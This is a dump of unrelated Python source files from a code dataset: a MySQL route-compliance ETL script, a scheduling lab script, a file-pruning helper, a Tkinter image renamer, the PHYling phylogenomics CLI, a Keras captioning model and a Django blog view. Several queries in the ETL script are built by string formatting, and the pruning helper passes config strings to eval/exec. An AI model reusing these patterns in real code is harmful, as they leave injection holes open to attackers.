2\")\n sql = \"INSERT INTO `routescompliance_reason_cam_data` ( `id_routes_compliance_data`, `cedula`,`formato`,`ciudad`, `id_causal`, `total_causal`, `mes`, `annio`, `afecta_cumplimiento`) VALUES ({0},'{1}','{2}','{3}',{4},'{5}','{6}',{7},{8})\".format(\n data['id'], data['userid'], data['formato'], data['ciudad'], counters['reason'], counters['num_reason'], counters['mes'], counters['annio'], 0)\n cur.execute(sql)\n dbGlobal.commit()\n # print(data['id'],data['userid'],counters['reason'],counters['num_reason'],counters['annio'],counters['mes'],'0')\n else:\n print(\"INSERTANDO TABLA 2\")\n sql = \"INSERT INTO `routescompliance_reason_cam_data` ( `id_routes_compliance_data`, `cedula`,`formato`,`ciudad`, `id_causal`, `total_causal`, `mes`, `annio`, `afecta_cumplimiento`) VALUES ({0},'{1}','{2}','{3}',{4},'{5}','{6}',{7},{8})\".format(\n data['id'], data['userid'], data['formato'], data['ciudad'], counters['reason'], counters['num_reason'], counters['mes'], counters['annio'], 1)\n cur.execute(sql)\n dbGlobal.commit()\n print(data['id'], data['userid'], counters['reason'],\n counters['num_reason'], counters['annio'], counters['mes'], '1')\n\n\n# ################################\n# # routescompliancedetaildata\n# ###############################\n# print(\"termina fase 2\")\n\n\ncursor9 = dbGlobal.cursor()\ncursor9.execute(\"\"\" SELECT intervalDescription,starttime,endtime,country,state FROM `tbls_workinghours` where active = 1 AND country not in ('ECUADOR','COLOMBIA') \"\"\")\nrow9 = cursor9.fetchone()\nrango = []\nwhile row9 is not None:\n rango.append({\n 'descripcion': row9[0],\n 'horainicio': row9[1],\n 'horafin': row9[2],\n 'country': row9[3],\n 'state': row9[4],\n })\n row9 = cursor9.fetchone()\n\n\nprint(\"iniciando\")\ncursor8 = dbGlobal.cursor()\ncursor8.execute(\"\"\"SELECT userid,\n username,\n gln,\n salespoint,\n channel,\n district,\n reason,\n reasondescription,\n visitdate,\n visittime,\n format,\n chargedate,\n chargetime,\n device,\n consulttype,\n visityear,\n visitdate,\n MONTH(visitdate) as mes,\n YEAR(visitdate) as annio,\n WEEK(visitdate, 5) - WEEK(DATE_SUB(visitdate, INTERVAL DAYOFMONTH(visitdate) - 1 DAY), 5) + 1,\n country\n FROM `tbls_routescompliancereportdata` where month(visitdate) = {0} and year(visitdate) = {1} AND country not in ('ECUADOR','COLOMBIA') \"\"\".format(month, year))\nrow8 = cursor8.fetchone()\nroutes = []\nwhile row8 is not None:\n routes.append({\n 'userid': row8[0],\n 'username': row8[1],\n 'gln': row8[2],\n 'salespoint': row8[3],\n 'channel': row8[4],\n 'district': row8[5],\n 'reason': row8[6],\n 'reasondescription': row8[7],\n 'visitdate': row8[8],\n 'visittime': row8[9],\n 'format': row8[10],\n 'chargedate': row8[11],\n 'chargetime': row8[12],\n 'device': row8[13],\n 'consulttype': row8[14],\n 'visityear': row8[15],\n 'visitmonth': row8[16],\n 'mes': row8[17],\n 'annio': row8[18],\n 'semana': row8[19],\n 'country': row8[20],\n })\n row8 = cursor8.fetchone()\n\nfor res in resumen:\n timerango = ''\n TIPO = None\n rango1 = 0\n\n for rou in routes:\n\n if res['userid'] == rou['userid'] and res['annio'] == str(rou['annio']) and res['mes'] == str(rou['mes']) and res['ciudad'] == rou['country'] and res['formato'] == rou['format']:\n for rang in rango:\n date = datetime.strptime(str(rou['visittime']), '%H:%M:%S')\n start = datetime.strptime(str(rang['horainicio']), '%H:%M:%S')\n end = datetime.strptime(str(rang['horafin']), '%H:%M:%S')\n if date >= start and date <= end:\n\n timerango = rang['descripcion']\n rango1 = rang['state']\n\n if rango1 == 0:\n timerango = 'De 23:00 a 01:00'\n rango1 = '1'\n\n if rou['consulttype'] == 2:\n TIPO = \"VISITA\"\n else:\n TIPO = \"NO VISITA\"\n\n # print(res['id'],rou['channel'],rou['userid'],rou['username'],rou['district'],rou['salespoint'],rou['gln'],rou['reasondescription'],rou['visitdate'],rou['visittime'],rou['device'],rango,description,TIPO,rou['semana'])\n print(\"INSERTANDO TABLA 3\")\n sql = \"INSERT INTO `routescompliance_detail_cam_data` (`id_routescompliance_data`, `canal`, `nombre`, `distrito`,`formato`,`ciudad`, `pdv`, `gln`, `reasondescription`, `fecha`, `hora`, `dispositivo`, `rango`, `time_rango`, `tipo`, `semana`,`mes`, `annio`) VALUES ({0},'{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}','{9}','{10}','{11}','{12}','{13}','{14}',{15},'{16}','{17}')\".format(\n res['id'], rou['channel'], rou['username'], rou['district'], res['formato'], res['ciudad'], rou['salespoint'], rou['gln'], rou['reasondescription'], rou['visitdate'], rou['visittime'], rou['device'], rango1, timerango, TIPO, rou['semana'], res['mes'], res['annio'])\n cur.execute(sql)\n dbGlobal.commit()\n\nprint(\"termina fase 3\")\n","sub_path":"route_cam.py","file_name":"route_cam.py","file_ext":"py","file_size_in_byte":17656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"237664088","text":"from RandomNumberGenerator import *\nfrom BF import *\nfrom Fmin import *\nfrom greedy import *\nfrom PD import *\n\nn = 8 # zadania\nZ = 7242 # ziarno\n\nrand=RandomNumberGenerator(Z)\n\n\nclass task:\n def __init__(self,i):\n self.id = i\n\n def add_p(self,p_time):\n self.p = p_time\n\n def add_w(self,weight):\n self.w = weight\n\n def add_d(self,d_time):\n self.d = d_time\n\ntasks = []\nA = 0\n\nfor i in range(n):\n tasks.append(task(i))\n tasks[i].add_p(rand.nextInt(1,29))\n A += tasks[i].p\n\nfor i in tasks:\n i.add_w(rand.nextInt(1,9))\n\nfor i in tasks:\n i.add_d(rand.nextInt(1,29))\n\nprint(\"Zadania:\")\nprint(\"nr: \", end = \" \")\nprint([tasks[k].id+1 for k in range(len(tasks))])\nprint(\"p: \", end = \" \")\nprint([tasks[k].p for k in range(len(tasks))])\nprint(\"w: \", end = \" \")\nprint([tasks[k].w for k in range(len(tasks))])\nprint(\"d: \", end = \" \")\nprint([tasks[k].d for k in range(len(tasks))])\n \n\nprint()\npi_optymalne, czas = bf_algorithm(tasks,n)\nprint(\"Algorytm BF:\\npi: \",end = \" \")\nprint([pi_optymalne[k].id+1 for k in range(0,len(pi_optymalne))])\nFmin = FMIN(pi_optymalne)\nprint(\"Fmin: \" + str(Fmin))\nprint(\"czas dzialanian programu: {0:02f}s\\n\".format(czas))\n\npi_optymalne, czas = greedy(tasks)\nprint(\"Algorytm greedy:\\npi: \",end = \" \")\nprint([pi_optymalne[k].id+1 for k in range(0,len(pi_optymalne))])\nFmin = FMIN(pi_optymalne)\nprint(\"Fmin: \" + str(Fmin))\nprint(\"czas dzialanian programu: {0:02f}s\\n\".format(czas))\n\nprint(\"Algorytm PD:\")\nstart = time.time()\nresult,order=PD(tasks)\nczas = time.time() - start\norder=list(reversed(order))\nprint(\"pi: \",order)\nprint(\"Fmin: \",result)\nprint(\"czas dzialanian programu: {0:02f}s\\n\".format(czas))","sub_path":"LAB4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"639587546","text":"from __future__ import unicode_literals\n\n_sep = r';;'\n\ndef prune(sttm):\n from ..compat import Str\n from ..nop import false\n from ..resource import neighbor\n if not sttm:\n return false\n sttm = Str(sttm) # for python2\n # r\"--prune;;noisedir\"\n # r\"--prune=filename == '.git'\"\n # r\"--prune=stat;;return ifmt == S_IFLNK\"\n sep = ';;'\n seplen = len(sep)\n seppos = sttm.find(sep)\n if 0 == seppos:\n # ;;noisedir\n from importlib import import_module\n module = sttm[seplen:]\n return import_module(r'..' + module, __name__).f\n if seppos < 0:\n # prune=filename == '.git'\"\n expr = sttm\n return eval(r'lambda prefix, distance, filename, ifmt=None: ' + expr)\n # prune=stat;;return ifmt == S_IFLNK\"\n filename = sttm[:seppos] + r'.py'\n prepend = neighbor(__file__)(filename).slurp()\n f_stub = r'def f(prefix, distance, filename, ifmt=None):'\n sttm = '%s\\n%s\\n %s\\n' % (prepend, f_stub, sttm[seppos+seplen:])\n ns = {}\n exec(sttm, ns, None)\n return ns['f']\n","sub_path":"x19290/lib/recentchanges/prune.py","file_name":"prune.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"125612668","text":"from tkinter import *\nfrom tkinter.messagebox import *\nfrom tkinter.filedialog import askdirectory\nimport os\nimport re\nimport shutil\n\ndef selectPath1():\n path_ = askdirectory()\n path1.set(path_)\n\ndef selectPath2():\n path_ = askdirectory()\n path2.set(path_)\n\ndef selectPath3():\n path_ = askdirectory()\n path3.set(path_)\n\nroot = Tk()\npath1 = StringVar()\npath2 = StringVar()\npath3 = StringVar()\n\n\ndef deal():\n path1Value = path1.get()\n path2Value = path2.get()\n path3Value = path3.get()\n print(path1Value) #正确图片\n print(path2Value) #错误图片\n print(path3Value) #保存图片\n\n #获取正确图片的所有文件名\n allName = set()\n for root, dirs, files in os.walk(path1Value, topdown=False):\n for name in files:\n # print(os.path.join(root, name))\n allName.add(name)\n\n #获取错误图片的命名\n for root, dirs, files in os.walk(path2Value, topdown=False):\n for name in files:\n try:\n myname = re.search('\\d{2}_\\d{2}_\\d{2}(.*?)_\\d{1,10}',name).group(1)\n print(myname)\n for each in allName:\n if myname in each:\n print(each)\n shutil.copy( os.path.join(root, name), os.path.join(path3Value, each))\n break\n except:\n continue\n\n showinfo(title='成功', message='处理完毕')\n\nLabel(root,text = \"正确图片文件夹:\").grid(row = 0, column = 0)\nEntry(root, textvariable = path1,width = 30).grid(row = 0, column = 1)\nButton(root, text = \"路径选择\", command = selectPath1).grid(row = 0, column = 2)\n\nLabel(root,text = \"错误图片文件夹:\").grid(row = 1, column = 0)\nEntry(root, textvariable = path2,width = 30).grid(row = 1, column = 1)\nButton(root, text = \"路径选择\", command = selectPath2).grid(row = 1, column = 2)\n\nLabel(root,text = \"保存结果文件夹:\").grid(row = 2, column = 0)\nEntry(root, textvariable = path3,width = 30).grid(row = 2, column = 1)\nButton(root, text = \"路径选择\", command = selectPath3).grid(row = 2, column = 2)\n\nButton(root, text='开始处理', command=deal).grid(row = 3, column = 0)\n\n\nroot.mainloop()","sub_path":"201910/imgRename/imgRename.py","file_name":"imgRename.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"608751164","text":"#!/usr/bin/env python3\n\"\"\"Run PHYling\"\"\"\n\nimport argparse\nimport configparser\nimport inspect\nimport json\nimport lib.libPHYling as PHYling\nimport logging\nimport os\nimport re\nimport shutil\nimport subprocess\nimport sys\nimport tarfile\nimport urllib.request\nimport zipfile\nfrom urllib.request import urlopen\n\n\n# --------------------------------------------------\ndef get_args():\n \"\"\"get args\"\"\"\n parser = argparse.ArgumentParser(\n description='Run PHYling',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument(\n 'command',\n metavar='COMMAND',\n help='Command',\n default='')\n\n parser.add_argument(\n '-c',\n '--config',\n help='Config file name',\n metavar='str',\n type=str,\n default='config.txt')\n\n sub_parsers = parser.add_subparsers(help='Command help')\n sub_parsers.add_parser('init', help='Setup data directory, needs HMM dir')\n\n dl_parser = sub_parsers.add_parser(\n 'download', help='Download HMM for pre-defined phylogenomic markers')\n dl_parser.add_argument(\n '-t', help='HMM name', metavar='str', type=str, default='fungi')\n\n sub_parsers.add_parser(\n 'search', help='Search HMM set to the genomes in pep')\n\n sub_parsers.add_parser(\n 'aln', help='Construct unaligned FASTA of protein/CDS, align')\n\n sub_parsers.add_parser(\n 'superaln', help='Concatenate gene alignments into a superalignment')\n\n phylo_parser = sub_parsers.add_parser(\n 'phylo', help='Run Phylogenetic reconstruction on superalignment')\n\n phylo_parser.add_argument(\n '-t',\n help='raxml, iqtree, fasttree',\n metavar='str',\n type=str,\n default='raxml')\n\n genetree_parser = sub_parsers.add_parser(\n 'genetrees',\n help='Run phylogenetic reconstruction on gene from marker')\n\n genetree_parser.add_argument(\n '-t', help='raxml, fasttree', metavar='str', type=str, default='raxml')\n\n genetree_parser.add_argument(\n '-m', help='aa, cds', metavar='str', type=str, default='aa')\n\n coalesce_parser = sub_parsers.add_parser(\n 'coalesce', help='Run ASTRAL gene tree reconciliation software')\n\n coalesce_parser.add_argument(\n '-t',\n help='raxml, iqtree, fasttree',\n metavar='str',\n type=str,\n default='raxml')\n\n coalesce_parser.add_argument(\n '-m', help='aa, cds', metavar='str', type=str, default='aa')\n\n coalesce_parser.add_argument(\n '-b',\n help='Sample bootstrap files if generated (RAXML)',\n action='store_true')\n\n sub_parsers.add_parser('citation', help='Print citation')\n\n return parser.parse_args()\n\n\n# --------------------------------------------------\ndef warn(msg):\n \"\"\"Print a message to STDERR\"\"\"\n print(msg, file=sys.stderr)\n\n\n# --------------------------------------------------\ndef die(msg='Something bad happened'):\n \"\"\"warn() and exit with error\"\"\"\n warn(msg)\n sys.exit(1)\n\n\n# --------------------------------------------------\ndef main():\n \"\"\"main\"\"\"\n version = '0.2' #phyling release version\n logging.basicConfig()\n\n args = get_args()\n subprog = args.command\n print('>>>>>>> {}'.format(subprog))\n\n script_path = os.path.dirname(\n os.path.abspath(inspect.getfile(inspect.currentframe())))\n\n # this code loads up some config files which list where the HMM libraries\n # can be downloaded from\n URL_file = os.path.join(script_path, \"lib\", \"urls.json\")\n Messages_file = os.path.join(\n script_path, \"lib\",\n \"messages.json\") # abstract this later based on different languages\n HMMs_URL = {}\n Messages = {}\n with open(URL_file, \"r\") as jsonfile:\n jsonToPython = json.loads(jsonfile.read())\n HMMs_URL = jsonToPython['HMMs']\n\n with open(Messages_file, \"r\") as jsonfile:\n Messages = json.loads(jsonfile.read())['en']\n\n default_help = Messages['commands']['default'] % version\n\n if subprog == \"version\":\n print(\"PHYling v%s\" % version)\n sys.exit(0)\n elif subprog == \"citation\":\n print(Messages[\"citation\"])\n sys.exit(0)\n\n config = get_config(args.config)\n\n if subprog == 'init' or subprog == 'initialize' or subprog == 'setup':\n parser = args.init_parser\n cmd = os.path.join(script_path, 'bin', 'phyling-00-initialize.sh')\n subprocess.call(cmd)\n elif subprog == 'download':\n help = Messages['commands']['download'] % (sys.argv[1], version)\n parser = argparse.ArgumentParser(\n description=help,\n add_help=True,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n parser.add_argument('-t', '--type', default='fungi')\n args = parser.parse_args(arguments)\n url = \"\"\n outfile = args.type + \"_HMMs.zip\"\n\n #HEREHERE\n if args.type in HMMs_URL:\n url = HMMs_URL[args.type]\n\n if not os.path.exists(outfile):\n with urlopen(url) as response, open(outfile, 'wb') as out_file:\n shutil.copyfileobj(response, out_file)\n unzippath = args.type + \"_HMMs\"\n\n if not os.path.exists(unzippath):\n zip_ref = zipfile.ZipFile(outfile, 'r')\n zip_ref.extractall(unzippath)\n\n if not os.path.exists(config[\"HMM_FOLDER\"]):\n os.makedirs(config[\"HMM_FOLDER\"])\n\n for subdir in os.listdir(unzippath):\n dlong = os.path.join(unzippath, subdir)\n sublist = os.listdir(dlong)\n if 'HMM' in sublist:\n for hmmfolder in os.listdir(\n os.path.join(dlong, 'HMM')):\n fromf = os.path.join(dlong, 'HMM', hmmfolder)\n print(fromf)\n shutil.move(fromf, config[\"HMM_FOLDER\"])\n print(\n \"%s HMMs installed. URL=%s Outfile=%s Dest=%s\"\n % (args.type, url, outfile,\n config[\"HMM_FOLDER\"]))\n\n elif re.match(\"(hmm|search)\", subprog):\n help = Messages['commands']['search'] % ('search', version)\n parser = argparse.ArgumentParser(\n description=help,\n add_help=True,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\n '-f',\n '--force',\n action='store_true',\n help=\"force overwriting of files when running\")\n parser.add_argument(\n '-q', '--queueing', help=\"Queueing parallel, serial, or slurm\")\n args = parser.parse_args(arguments)\n if args.queueing is not None:\n config[\"QUEUEING\"] = args.queueing\n\n if args.force:\n print(args.force)\n searchfolder = os.path.join(config[\"HMMSEARCH_OUTDIR\"],\n config[\"HMM\"])\n for file in os.listdir(searchfolder):\n if (file.endswith(\".domtbl\") or file.endswith(\".log\")\n or file.endswith(\".\" + config[\"BESTHITEXT\"])):\n os.unlink(os.path.join(searchfolder, file))\n\n cmd = os.path.join(script_path, 'bin', 'phyling-01-hmmsearch.sh')\n subprocess.call([\n cmd,\n \"-f\",\n \"%d\" % int(args.force),\n \"-q\",\n \"%s\" % (config[\"QUEUEING\"]),\n ])\n\n elif re.match(\"aln\", subprog):\n help = Messages['commands']['aln'] % ('aln', version)\n parser = argparse.ArgumentParser(\n description=help,\n add_help=True,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n # hmmer or muscle for multiple alignment?\n parser.add_argument(\n '-t', '--type', action='store_true', default=\"hmmalign\")\n\n # force clean DB and align\n parser.add_argument('-f', '--force', action='store_true')\n\n # clean align folder (remake starting files)\n parser.add_argument('-c', '--cleanaln', action='store_true')\n # override queue option from config file\n parser.add_argument(\n '-q', '--queueing', help=\"Queueing parallel, serial, or slurm\")\n\n args = parser.parse_args(arguments)\n\n if args.queueing is not None:\n config[\"QUEUEING\"] = args.queueing\n\n outdir = config[\"PEPDIR\"]\n if \"TEMP\" in config:\n outdir = os.path.join(config[\"TEMP\"], config[\"PREFIX\"])\n if not os.path.isdir(outdir):\n os.makedirs(outdir)\n\n pep_db = os.path.join(outdir, config[\"ALLSEQNAME\"])\n\n PHYling.init_allseqdb(config[\"PEPDIR\"], pep_db, config[\"INPEPEXT\"],\n config[\"INDEXING\"], args.force)\n\n searchdir = os.path.join(config[\"HMMSEARCH_OUTDIR\"], config[\"HMM\"])\n alndir = os.path.join(config[\"ALN_OUTDIR\"], config[\"HMM\"])\n\n # parse the best hit files, make ortholog table and write out genes\n # to a single file per ortholog - first do the proteins\n #print(\"make unaln called with\",searchdir,pep_db)\n PHYling.make_unaln_files(searchdir, config[\"BESTHITEXT\"],\n config['HMMSEARCH_CUTOFF'], pep_db, alndir,\n config[\"OUTPEPEXT\"], args.cleanaln,\n config[\"INDEXING\"], int(config[\"TOTALCPU\"]))\n # now re-parse the best hit files, make ortholog table and write out genes\n # to a single file per ortholog for the coding sequence files\n # assuming there is a CDS folder (skip if not)\n\n if os.path.exists(config[\"CDSDIR\"]):\n outdir = config[\"CDSDIR\"]\n if \"TEMP\" in config:\n outdir = os.path.join(config[\"TEMP\"], config[\"PREFIX\"])\n if not os.path.isdir(outdir):\n os.makedirs(outdir)\n\n cds_db = os.path.join(outdir, \"cds_\" + config[\"ALLSEQNAME\"])\n PHYling.init_allseqdb(config[\"CDSDIR\"], cds_db, config[\"INCDSEXT\"],\n config[\"INDEXING\"], args.force)\n\n PHYling.make_unaln_files(searchdir, config[\"BESTHITEXT\"],\n config['HMMSEARCH_CUTOFF'], cds_db,\n alndir, config[\"OUTCDSEXT\"],\n args.cleanaln, config[\"INDEXING\"],\n int(config[\"TOTALCPU\"]))\n\n # either force or cleanaln flag sufficient to regenerate alignment files\n # do we sub-divide by type (muscle,hmmalign here)\n cmd = os.path.join(script_path, 'bin', 'phyling-02-aln.sh')\n #print(cmd)\n subprocess.call([\n cmd,\n \"-t\",\n args.type,\n \"-c\",\n \"%d\" % (int(args.cleanaln)),\n \"-f\",\n \"%d\" % (int(args.force)),\n \"-q\",\n \"%s\" % (config[\"QUEUEING\"]),\n ])\n\n elif subprog == \"phylo\":\n help = Messages['commands']['phylo'] % (sys.argv[1], version)\n parser = argparse.ArgumentParser(\n description=hqelp,\n add_help=True,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n # hmmer or muscle for multiple alignment?\n args = parser.parse_args(arguments)\n\n elif re.match(r\"genetree\", subprog):\n help = Messages['commands']['genetrees'] % (sys.argv[1], version)\n parser = argparse.ArgumentParser(\n description=help,\n add_help=True,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n # hmmer or muscle for multiple alignment?\n args = parser.parse_args(arguments)\n elif re.match(r\"coal\", subprog) or subprog == \"astral\":\n help = Messages['commands']['coalesce'] % (sys.argv[1], version)\n parser = argparse.ArgumentParser(\n description=help,\n add_help=True,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n args = parser.parse_args(arguments)\n\n else:\n print(\"%s option not recognized\" % sys.argv[1])\n print(default_help)\n\n\n# --------------------------------------------------\ndef get_config(config_file):\n config = {\n 'HMM_FOLDER': 'HMM',\n 'HMM': 'AFTOL70',\n 'PEPDIR': 'pep',\n 'INPEPEXT': 'aa.fasta', # input data\n 'OUTPEPEXT': 'aa.fa', # output alignment files\n 'CDSDIR': 'cds',\n 'INCDSEXT': 'cds.fasta', # input data\n 'OUTCDSEXT': 'cds.fa', # output alignment files\n 'BESTHITEXT': 'best',\n 'HMMSEARCH_CUTOFF': 1e-30,\n 'HMMSEARCH_OUTDIR': 'search',\n 'ALN_OUTDIR': 'aln',\n 'ALLSEQNAME': 'allseq',\n 'LANGUAGE': 'en',\n 'PREFIX': 'PHY',\n 'QUEUEING': 'parallel',\n 'INDEXING': 'sfetch',\n }\n\n if os.path.exists(config_file):\n with open(config_file, \"r\") as f:\n for line in f:\n line = line.strip()\n if line.startswith(\"#\"):\n continue\n line = re.sub(r\"\\s*#.+$\", \"\", line)\n keyval = line.split(\"=\")\n config[keyval[0]] = keyval[1]\n else:\n die('Bad --config \"{}\" file'.format(config_file))\n\n return config\n\n\n# --------------------------------------------------\nif __name__ == '__main__':\n main()\n","sub_path":"PHYling_unified/run_phyling.py","file_name":"run_phyling.py","file_ext":"py","file_size_in_byte":13448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"4477994","text":"import argparse\nimport os\nimport sys\n\nsys.path.append(\"..\")\n\nimport yaml\nfrom keras import Model\nfrom keras.applications.vgg16 import VGG16\n\nfrom keras.layers import Embedding, LSTM, Dense, Input, Bidirectional, RepeatVector, Concatenate\n\nfrom datasets.googlecc import PreProcessing, get_line_count\nfrom datasets.common import get_dataset_metadata_cfg\nfrom preprocessing import utils\nfrom keras.callbacks import ModelCheckpoint\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"config\")\n parser.add_argument(\n \"--config\",\n nargs=\"?\",\n type=str,\n default=\"../configs/inception_lstm_autoencoder.yaml\",\n help=\"Configuration file to use\",\n )\n\n args = parser.parse_args()\n\n with open(args.config) as fp:\n cfg = yaml.load(fp)\n\n dataset_cfg = get_dataset_metadata_cfg()\n model_workspace_dir = os.path.join(cfg[\"workspace\"][\"directory\"], cfg[\"dataset\"][\"name\"], cfg[\"model\"][\"arch\"])\n utils.make_directories(model_workspace_dir)\n\n dataset_preprocessor = PreProcessing(cfg, \"autoencoder\", False, False)\n\n # Load train, validation sets from the pre-processor\n training_generator, validation_generator, test_generator = dataset_preprocessor.get_simple_keras_generators()\n\n MAX_LEN = 40\n EMBEDDING_DIM = 300\n IMAGE_ENC_DIM = 300\n vocab_size = get_line_count(\n os.path.join(cfg[\"workspace\"][\"directory\"], cfg[\"dataset\"][\"name\"], \"word_dictionary.txt\")\n )\n\n img_model = VGG16(weights='imagenet')\n\n new_input = img_model.input\n new_output = img_model.layers[-2].output\n\n img_enc = Dense(300, activation=\"relu\")(new_output)\n images = RepeatVector(MAX_LEN)(img_enc)\n\n text_input = Input(shape=(MAX_LEN,))\n embedding = Embedding(vocab_size, EMBEDDING_DIM, input_length=MAX_LEN)(text_input)\n x = Concatenate()([images, embedding])\n y = Bidirectional(LSTM(256, return_sequences=False))(x)\n pred = Dense(vocab_size, activation='softmax')(y)\n model = Model(inputs=[new_input, text_input], outputs=pred)\n model.compile(loss='categorical_crossentropy', optimizer=\"RMSProp\", metrics=['accuracy'])\n\n model.summary()\n\n checkpoint = ModelCheckpoint(filepath=os.path.join(model_workspace_dir, 'weights.hdf5'),\n verbose=1,\n save_best_only=True)\n\n model.fit_generator(generator=training_generator, validation_data=validation_generator, epochs=100,\n callbacks=[checkpoint])\n","sub_path":"image-captioning-approaches/models/vgg_lstm_autoencoder.py","file_name":"vgg_lstm_autoencoder.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"616714757","text":"import os\nimport argparse\n\nclass get_file_paths:\n def __init__(self, base, mode=\"file\", outputFileName=\"file_paths.txt\"): \n self.paths = []\n self.build_path(base)\n if mode == \"file\":\n for path in self.paths: \n with open(outputFileName, 'a') as f: \n f.write(path+\"\\n\")\n \n def build_path(self, base):\n if \"json\" in base or 'txt' in base or 'csv' in base: \n self.paths.append(base)\n else: \n for folder in os.listdir(base):\n self.build_path(os.path.join(base, folder))\n def get_paths(self):\n return self.paths\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-b\", help=\"base search directory folder\")\n parser.add_argument(\"--mode\", help=\"results of full path written to file\")\n args = parser.parse_args()\n\n if (args.mode == None):\n get_file_paths(args.b)\n else:\n paths = get_file_paths(args.b, mode=\"list\")\n paths.get_paths()\n \n \n","sub_path":"cnn-text-classification-tf/get_file_paths.py","file_name":"get_file_paths.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"181635","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import Post, Category, Comment\nfrom django.utils import timezone\nfrom .forms import PostForm, CommentForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic import ListView, DetailView\nimport markdown\n\n\ndef post_list(request):\n \"\"\"\n 博客列表|首页\n :param request:\n :return:\n \"\"\"\n # 根据发布时间逆序排列\n # **已在模型中处理\n posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('-published_date')\n return render(request, 'blog/index.html', {'posts': posts, })\n\n\nclass IndexView(ListView):\n \"\"\"首页\n CBV替代post_list()\n \"\"\"\n model = Post\n template_name = 'blog/index.html'\n context_object_name = 'posts'\n paginate_by = 5\n\n def get_context_data(self, **kwargs):\n \"\"\"\n 在视图函数中将模板变量传递给模板是通过给 render 函数的 context 参数传递一个字典实现的,\n 例如 render(request, 'blog/index.html', context={'post_list': post_list}),\n 这里传递了一个 {'post_list': post_list} 字典给模板。\n 在类视图中,这个需要传递的模板变量字典是通过 get_context_data 获得的,\n 所以我们复写该方法,以便我们能够自己再插入一些我们自定义的模板变量进去。\n \"\"\"\n\n # 首先获得父类生成的传递给模板的字典。\n context = super().get_context_data(**kwargs)\n\n # 父类生成的字典中已有 paginator、page_obj、is_paginated 这三个模板变量,\n # paginator 是 Paginator 的一个实例,\n # page_obj 是 Page 的一个实例,\n # is_paginated 是一个布尔变量,用于指示是否已分页。\n # 例如如果规定每页 10 个数据,而本身只有 5 个数据,其实就用不着分页,此时 is_paginated=False。\n # 关于什么是 Paginator,Page 类在 Django Pagination 简单分页:http://zmrenwu.com/post/34/ 中已有详细说明。\n # 由于 context 是一个字典,所以调用 get 方法从中取出某个键对应的值。\n paginator = context.get('paginator')\n page = context.get('page_obj')\n is_paginated = context.get('is_paginated')\n\n # 调用自己写的 pagination_data 方法获得显示分页导航条需要的数据,见下方。\n pagination_data = self.pagination_data(paginator, page, is_paginated)\n\n # 将分页导航条的模板变量更新到 context 中,注意 pagination_data 方法返回的也是一个字典。\n context.update(pagination_data)\n\n # 将更新后的 context 返回,以便 ListView 使用这个字典中的模板变量去渲染模板。\n # 注意此时 context 字典中已有了显示分页导航条所需的数据。\n return context\n\n def pagination_data(self, paginator, page, is_paginated):\n if not is_paginated:\n # 如果没有分页,则无需显示分页导航条,不用任何分页导航条的数据,因此返回一个空的字典\n return {}\n\n # 当前页左边连续的页码号,初始值为空\n left = []\n right = []\n\n # 标示第 1 页页码后是否需要显示省略号\n left_has_more = False\n right_has_more = False\n\n # 标示是否需要显示第 1 页的页码号。\n # 因为如果当前页左边的连续页码号中已经含有第 1 页的页码号,此时就无需再显示第 1 页的页码号,\n # 其它情况下第一页的页码是始终需要显示的。\n first = False\n\n # 标示是否需要显示最后一页的页码号。\n last = False\n\n # 获得用户当前请求的页码号\n page_number = page.number\n\n # 获得分页后的总页数\n total_pages = paginator.num_pages\n\n # 获得整个分页页码列表,比如分了四页,那么就是 [1, 2, 3, 4]\n page_range = paginator.page_range\n\n if page_number == 1:\n # 如果用户请求的是第一页的数据,那么当前页左边的不需要数据,因此 left=[](已默认为空)。\n # 此时只要获取当前页右边的连续页码号,\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 right = [2, 3]。\n # 注意这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n right = page_range[page_number:page_number + 2]\n\n # 如果最右边的页码号比最后一页的页码号减去 1 还要小,\n # 说明最右边的页码号和最后一页的页码号之间还有其它页码,因此需要显示省略号,通过 right_has_more 来指示。\n if right[-1] < total_pages - 1:\n right_has_more = True\n\n # 如果最右边的页码号比最后一页的页码号小,说明当前页右边的连续页码号中不包含最后一页的页码\n # 所以需要显示最后一页的页码号,通过 last 来指示\n if right[-1] < total_pages:\n last = True\n\n elif page_number == total_pages:\n # 如果用户请求的是最后一页的数据,那么当前页右边就不需要数据,因此 right=[](已默认为空),\n # 此时只要获取当前页左边的连续页码号。\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 left = [2, 3]\n # 这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n\n # 如果最左边的页码号比第 2 页页码号还大,\n # 说明最左边的页码号和第 1 页的页码号之间还有其它页码,因此需要显示省略号,通过 left_has_more 来指示。\n if left[0] > 2:\n left_has_more = True\n\n # 